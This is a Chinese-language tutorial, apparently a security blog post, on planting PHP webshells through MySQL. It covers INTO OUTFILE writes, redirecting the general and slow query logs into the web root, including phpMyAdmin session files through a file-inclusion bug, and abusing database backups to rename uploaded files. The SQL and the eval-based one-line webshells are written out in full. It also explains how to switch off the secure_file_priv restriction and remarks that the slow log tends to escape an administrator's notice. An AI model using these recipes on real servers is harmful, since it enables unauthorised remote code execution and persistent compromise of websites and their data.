利用資料庫拿shell的一些姿勢

0x01、利用MySQL命令導出getshell

利用條件:

1、擁有網站的寫入許可權

2、Secure_file_priv參數為空或者為指定路徑

3、知道網站的絕對路徑

方法:

通過into outfile 進行文件寫入,寫入一句話木馬

CREATE TABLE shell(cmd text);

INSERT INTO shell(cmd) VALUES(‘<?php @eval($_POST[CMD]); ?>’);

SELECT cmd from shell INTO OUTFILE ‘D:/php/www/shell.php’;

*************************OR************************************

select ‘<?php @eval($_POST[CMD]); ?>’ into outfile ‘D:/php/www/shell.php’;

測試:

利用PHPStudy打開MySQL命令行

 

通過show global variables like 『%secure%』;命令查看secure_file_priv,這個參數用來限制數據的導入和導出操作。

 

如上圖所示,這個參數為NULL,MySQL服務會禁止導入和導出操作。

解決方法:

windows下:修改my.ini 在[mysqld]內加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]內加入secure_file_priv =

 

然後重啟mysql,再查詢secure_file_priv

 

現在即可將一句話木馬導入到指定文件

 

用蟻劍連一下,可以成功連接。

 

0x02利用日誌getshell

利用general_log和general_log_file拿shell

方法:

開啟general_log後,系統將mysql執行的每一條查詢語句寫入我們指定位置的文件里。而文件的位置則由general_log_file確定。我們可以開啟這個選項後,執行SELECT ‘<?php assert($_POST[“cmd”]);?>’;,這個指令就把木馬插入到我們指定的php文件中去了。

測試:

利用PHPStudy打開MySQL命令行

執行下面操作,修改general_log_file的值

set global general_log = “ON”;

set global general_log_file=」 D:/php/www/shell.php」

 

在查詢語句中寫入一句話木馬

 

這樣就成功將一句話寫入了我們指定的文件。

用蟻劍連一下,可以成功連接:

 

當然,也可以在phpmyadmin裡面更改

 

利用慢查詢日誌寫shell

原理:

慢查詢日誌,只有當查詢語句執行的時間要超過系統默認的時間時,該語句才會被記入進慢查詢日誌。

一般都是通過long_query_time選項來設置這個時間值,時間以秒為單位,可以精確到微秒。如果查詢時間超過了這個時間值,這個查詢語句將被記錄到慢查詢日誌中。查看伺服器默認時間值方式如下:

show global variables like ‘%long_query_time%’;

 

通常情況下執行sql語句時的執行時間一般不會超過10s,所以說這個日誌文件應該是比較小的,而且默認也是禁用狀態,不容易引起管理員的察覺。

測試:

利用PHPStudy打開MySQL命令行

 

執行下面操作,修改slow_query_log的值

set global slow_query_log = “ON”;

set global slow_query_log_file =」 D:/php/www/shell.php」

 

在查詢語句中寫入一句話木馬並延時10秒以上:

select “<?php @eval($_POST[‘cmd’]); ?>” or sleep(11);

 

蟻劍連接測試

 

0x03 利用文件包含漏洞getshell

原理:

對於phpmyadmin來說有一種特殊的機制,所有SQL的執行操作將存入session。

所以,如果目標站點存在文件包含漏洞,我們可以通過包含session文件來拿shell。

測試:

利用PHPStudy啟一個環境。打開phpmyadmin,輸入sql查詢語句,執行

 

我們在session文件中就能找到這條語句的執行記錄:

 

為了測試,我手動建立了一個存在文件包含漏洞的php文件

 

然後去包含我們的session文件

 

蟻劍連接測試

 

0x04 利用資料庫備份getshell

網站對上傳的文件後綴進行過濾,不允許上傳腳本類型文件如asp/php/jsp/aspx等。

而網站具有資料庫備份功能,這時我們就可以將webshell格式先改為允許上傳的文件格式,如jpg、gif等,然後,我們找到上傳後的文件路徑,通過資料庫備份,將文件備份為腳本格式。